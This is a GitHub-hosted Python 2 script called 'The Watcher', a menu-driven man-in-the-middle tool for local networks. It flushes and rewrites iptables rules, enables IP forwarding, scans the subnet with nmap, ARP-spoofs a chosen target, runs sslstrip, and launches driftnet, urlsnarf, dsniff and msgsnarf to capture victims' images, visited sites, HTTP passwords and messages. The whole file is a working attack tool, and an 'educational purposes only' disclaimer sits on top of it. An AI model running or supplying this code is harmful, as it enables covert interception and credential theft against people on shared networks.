forked from DevoOverkill9/the-watcher
-
Notifications
You must be signed in to change notification settings - Fork 1
/
the_watcher.py
313 lines (255 loc) · 9.41 KB
/
the_watcher.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
#!/usr/bin/env python
#sniffing tool project
"""
this tool can spy on the devices in the local network devices with many options that
can make sniffing on the local network so easy to make it done
this tool take weeks to make it more easier and flexible for all users so we will be thankful
if you can rate our tool on github :D
>>you can make some edits on this script but you can make us know first we will be
thanked if u do this :D
>>if you found that you can't use this tool you can see our official vedio tutorial on youtube
>>we are not responsible for any bad using of this tool
cause this tool has been made for pentesters and educational purposes only.
>>if you have faced any kind of problems while using our tool you can inform us to our E_mail :
>>last thing thanks for reading this and have a nice day :D
"""
#Coded & Developed by : David Younan[DevoOverkill9]
#-.- coding: utf-8 -.-
import os
import time
from time import sleep
import sys
import socket, struct
#adding some colors vals
BLUE, RED, WHITE, YELLOW, MAGENTA, GREEN, END = '\33[94m', '\033[91m', '\33[97m', '\33[93m', '\033[1;35m', '\033[1;32m', '\033[0m'
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
END = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
#====================
Cyan ="\033[0;36m"
Cafe ="\033[0;33m"
xxx ="\033[0;35m"
blue ="\033[1;34m"
trans ="\e[0m"
BOLDxxx = "\033[0;35m"+"\033[1m"
purple ="\033[0;35m"
#ip rules
def get_default_gateway_linux():
with open("/proc/net/route") as fh:
for line in fh:
fields = line.strip().split()
if fields[1] != '00000000' or not int(fields[3], 16) & 2:
continue
return socket.inet_ntoa(struct.pack("<L", int(fields[2], 16)))
gateway_ip = (get_default_gateway_linux())
#os commands
flush = "iptables --flush"
flush_nat = "iptables --flush -t nat"
traffic_on = "echo 1 > /proc/sys/net/ipv4/ip_forward"
traffic_redirect = "iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080"
traffic_redirect2 = "iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53"
#arpspoof_interface = """"arpspoof -i """
#arpspoof_target = " -t "
#arpspoof_gateway = """ " """
bash = "; bash"
clear = "clear"
exit = "exit"
w = sleep(0.5)
os.system("apt install driftnet")
os.system("apt install sslstrip")
os.system ("clear")
#Terms & Conditions>
try:
os.system(clear)
import terms
except ImportError:
print ("{0}[{1}x{0}]{2}Error:Some files is NOT FOUND!").format(WHITE , RED , RED)
os.system("exit")
#banner starting../
try:
os.system(clear)
import banner
except ImportError:
print ("{0}[{1}x{0}]{2}Error:Some files is NOT FOUND!").format(WHITE , RED , RED)
os.system("exit")
#installing python-nmap
os.system("pip install python-nmap")
print
#loading...
print ("{}").format(Cafe)
try:
toolbar_width = 40
sys.stdout.write("[%s]" % (" " * toolbar_width))
sys.stdout.flush()
sys.stdout.write("\b" * (toolbar_width+1)) #after '['
for i in xrange(toolbar_width):
time.sleep(0.1) # do real work here
sys.stdout.write("#") #GUI
sys.stdout.flush()
sys.stdout.write("\n")
except KeyboardInterrupt:
print("{0}[{1}x{0}]{2}Loading Interrupted!").format(Cafe , RED , RED)
os.system(exit)
print ("{0}[{1}+{0}]{2}OK!").format(WHITE , OKGREEN , OKGREEN)
#nmap can't install Error
try :
import nmap
except ImportError :
print ("\n{}[x]If you a got an error :").format(RED)
print("\n>Try : pip install python-nmap")
print("\nThen relaunch the tool!")
os.system(exit)
try:
print """
"""
sleep(0.5)
#Redirecting Traffic to the client >>
print ("\n{0}Do you want to get network traffic now? ({1}y{0}/{2}n{0}) : ").format(OKGREEN , WHITE , RED)
print ("{}").format(BLUE)
traffic = raw_input("\nThe WATCHER > ")
if traffic == "y" :
print ("\n{}Starting...").format(OKGREEN)
sleep(0.5)
print ("\n{0}[{1}+{0}]{2}Redirecting traffic... ").format(WHITE , RED , Cafe)
sleep(1.2)
os.system(flush)
os.system(flush_nat)
os.system (traffic_on)
print ("\n{0}[{1}+{0}]{2}Directing traffic to port 8080 ... ").format(WHITE , RED , Cafe)
sleep(2.2)
os.system (traffic_redirect)
os.system (traffic_redirect2)
print ("\n{0}[{1}+{0}]{1}Done").format(WHITE , OKGREEN)
sleep(0.5)
#Get the gateway ip >>
print ("\n{0}[{1}+{0}]{2}Getting gateway ip...").format(WHITE , RED , BLUE)
print(gateway_ip)
sleep (0.5)
print ("\n{0}[{1}*{0}]{2}Scanning targets in progress...").format(WHITE , RED , Cafe)
print
#using python-nmap
nm = nmap.PortScanner()
nm.scan(hosts = gateway_ip+"/24", arguments='-sP')
hosts_list = [(x, nm[x]['status']['state']) for x in nm.all_hosts()]
for host, status in hosts_list:
print('{3}{0} : {2}{1}'.format(host, status , OKGREEN , Cafe))
#scanning finshed!
sleep(0.5)
print ("\n{}Enter your target ip : ").format(BLUE)
print ("{}").format(BLUE)
target_ip = raw_input("\nThe WATCHER > ")
#showing available interfaces
print"""\n{}Choose between these interfaces:
""".format(Cafe)
sleep(0.5)
interface_list = "ifconfig -a | sed 's/[ \t].*//;/^\(lo\|\)$/d'"
os.system(interface_list)
print ("\n{}Enter your network interface : ").format(BLUE)
print ("{}").format(BLUE)
interface = raw_input("\nThe WATCHER > ")
#############################################################################################################################################
sleep (1.0)
print ("\n{0}[{1}+{0}]{2}Arpspoofing Target! ...").format(WHITE , RED , Cafe)
arp = 'gnome-terminal --hide-menubar --geometry=53x17 -x sh -c "arpspoof -i {0} -t {1} {2}; bash"'.format(interface , target_ip , gateway_ip)
os.system (arp)
sleep (2.0)
print ("\n{0}[{1}+{0}]{2}Arping in progress....").format(WHITE , RED , Cafe)
sleep (0.5)
print ("\n{}WARNING: Please don't close any poped up window!").format(RED)
sleep (2.0)
print ("\n{0}[{1}+{0}]{2}Trying to Decrypt SSL Encryption!...").format(WHITE , RED , RED)
sleep(0.5)
sslstrip = 'gnome-terminal --hide-menubar --geometry=53x17 -x sh -c "sslstrip -l 8080; bash"'
os.system (sslstrip)
#################################################################################
#
def choices ():
sleep(5.0)
os.system(clear)
print """
{0}<{1}Now choose between these options{0}>{1}:
""".format (RED , WHITE)
sleep (0.3)
print""" {0}[{1}1{0}]{2} Sniff Images
""".format(YELLOW , RED , WHITE)
sleep (0.3)
print""" {0}[{1}2{0}]{2} Sniff Websites
""".format(YELLOW , RED , WHITE)
sleep (0.3)
print""" {0}[{1}3{0}]{2} Sniff HTTP Passwords
""".format(YELLOW , RED , WHITE)
sleep (0.3)
print""" {0}[{1}4{0}]{2} Sniff Low Encrypted Messages
""".format(YELLOW , RED , WHITE)
sleep (0.3)
print""" {0}[{1}5{0}]{2} Sniff All
""".format(YELLOW , RED , WHITE)
sleep (0.3)
print """\n{}Press Ctrl+C to exit""".format(RED)
sleep (0.3)
print ("{}").format(BLUE)
client_choice = raw_input ("\nThe WATCHER > ")
###################################################################
if client_choice == "1":
sleep (1.0)
print("\n{0}[{1}+{0}]{2}Sniffing Images").format(RED , WHITE , Cafe)
driftnet = 'gnome-terminal --hide-menubar --geometry=53x17 -x sh -c "driftnet -i {0} -b; bash"'.format(interface)
print
os.system(driftnet)
return(choices())
elif client_choice == "2":
sleep (1.0)
print ("\n{0}[{1}+{0}]{2}Sniffing Websites").format(RED , WHITE , Cafe)
urlsnarf = 'gnome-terminal --hide-menubar --geometry=53x17 -x sh -c "urlsnarf -i {}; bash"'.format(interface)
print
os.system (urlsnarf)
return(choices())
elif client_choice == "3":
sleep (1.0)
print ("\n{0}[{1}+{0}]{2}Sniffing HTTP passwords...").format(RED , WHITE , Cafe)
dsniff = 'gnome-terminal --hide-menubar --geometry=53x17 -x sh -c "dsniff -i {}; bash"'.format(interface)
print
os.system(dsniff)
return(choices())
elif client_choice == "4":
sleep (1.0)
print ("\n{0}[{1}+{0}]{2}Sniffing low encrypted messages...").format(RED , WHITE , Cafe)
msgsnarf = 'gnome-terminal --hide-menubar --geometry=53x17 -x sh -c "msgsnarf -i {}; bash"'.format(interface)
print
os.system(msgsnarf)
return(choices())
elif client_choice == "5":
sleep (1.0)
print ("\n{0}Warning{1}: {2}Many pop-ups will appear!").format(RED , WHITE , Cafe)
sleep (5.0)
driftnet= 'gnome-terminal --hide-menubar --geometry=53x17 -x sh -c "driftnet -i {0}; bash"'.format(interface)
urlsnarf= 'gnome-terminal --hide-menubar --geometry=53x17 -x sh -c "urlsnarf -i {}; bash"'.format(interface)
dsniff= 'gnome-terminal --hide-menubar --geometry=53x17 -x sh -c "dsniff -i {}; bash"'.format(interface)
msgsnarf= 'gnome-terminal --hide-menubar --geometry=53x17 -x sh -c "msgsnarf -i {}; bash"'.format(interface)
os.system(driftnet)
sleep (4.0)
os.system(urlsnarf)
sleep (4.0)
os.system(dsniff)
sleep (4.0)
os.system(msgsnarf)
return(choices())
else:
print ("\n{}Wrong Entry!!").format(RED)
return(choices())
print(choices())
elif traffic == "n" :
print ("\n{0}See ya soon {1}:D").format(Cafe , WHITE)
print ("\n{0}[{1}x{0}]Exiting...").format(RED , WHITE)
else:
print ("\n{}[x]Wrong Entry").format(RED)
os.system (exit)
except KeyboardInterrupt :
print ("""\n{0}[{1}x{0}]{2}Program has been ended
Thanks for stopping by!
""").format(WHITE , RED , RED)